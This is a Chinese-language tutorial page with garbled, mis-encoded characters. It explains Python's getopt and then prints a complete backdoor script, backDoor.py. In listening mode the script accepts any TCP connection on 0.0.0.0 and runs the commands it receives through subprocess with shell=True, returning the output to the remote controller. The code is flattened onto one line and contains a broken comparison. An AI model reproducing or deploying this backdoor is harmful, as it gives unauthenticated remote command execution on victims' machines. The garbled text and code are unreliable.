參數(shù) | 釋義 | 補充 |
---|---|---|
args | 要解析的參數(shù)列表 | 一般是sys.argv[1:] ,表示獲取的參數(shù)不包括當前執(zhí)行的 python 腳本名稱 |
shortopts | 要識別的短格式 (-) 選項字符串,如果后接: 表示需要給定參數(shù) |
如ab:c: ,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要后接參數(shù) |
longopts = [] | 要識別的長格式(–)選項,如果后接= 表示需要給定參數(shù) |
如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456 的長選項 |
函數(shù)返回值由兩個元素組成:
-或--
前綴的選項,value 表示該 option 對應的參數(shù),可以為空字符串表示無參數(shù);import socket import getopt import sys import subprocess from threading import Thread def main(): target = "" # 目標IP port = 0 # 目標端口 listen = False help = False # 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過濾掉第一個參數(shù)(第一個參數(shù)是腳本的名稱,它不應該作為參數(shù)進行解析) opts, args = getopt.getopt(sys.argv[1:], "t:p:hl") for o, a in opts: if o == "-t": target = a elif o == "-p": port = int(a) elif o == "-h": help = True elif o == "-l": listen = True else: # 斷言,傳入的參數(shù)有誤 assert False, "Unhandled Option" # 輸出幫助文檔 if help: usage() # 獲分客戶端和服務端 if listen: server_handle(port) else: client_handle(target, port) # 受控端 def server_handle(port): # 創(chuàng)建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定 server.bind(('0.0.0.0', port)) # 監(jiān)聽 server.listen(10) print("[*] Listening on 0.0.0.0:%d" % port) while True: client_socket, addr = server.accept() print("[*] Accept connection from %s:%d" % (addr[0], addr[1])) t = Thread(target=run_command, args=(client_socket, server,)) t.start() # 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容 def client_handle(target, port): # 創(chuàng)建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 連接服務器 client.connect((target, port)) # 接收數(shù)據(jù) while True: recv_len = 1 # 接收到的數(shù)據(jù)是utf-8 resBuffer = "".encode('utf-8') while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len 4096: break # 在windows下中文會亂碼,所以轉(zhuǎn)成GBK print(resBuffer.decode('gbk'), end="") # 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8 buffer = input("") if buffer.encode('utf-8') == b"quit": break buffer += "\n" client.send(buffer.encode('utf-8')) client.close() # 執(zhí)行命令涵數(shù) def run_command(client_socket,s): while True: # 發(fā)送命令給客戶端 client_socket.send(b"shell_>") # 定義接收命令byte類型變量 cmd_buffer = "".encode('utf-8') # 接收客戶端發(fā)過來的消息,直到預到換行,代表客戶端消息輸入完成 while b"\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) if cmd_buffer == b"quit": break # 將完整的byte變量消息轉(zhuǎn)成字符串 cmd_buffer = cmd_buffer.decode() try: # 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù) out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 將返回的數(shù)據(jù)發(fā)送給客戶端 client_socket.send(out) except: client_socket.send(b"faild to execute the command") client_socket.close() # 斷開連接 s.close() # 關(guān)閉套結(jié)字 exit(0) # 輸出幫助信息 def usage(): print("help info : python backDoor.py -h") print("client : python backDoor.py -t [target] -p [port]") print("server : python backDoor.py -lp [port]") print("Exit :Input quit to exit ") sys.exit() if __name__ == "__main__": main()
效果演示
獲取腳本幫助提示、進行遠程連接:
到此這篇關(guān)于Python實現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!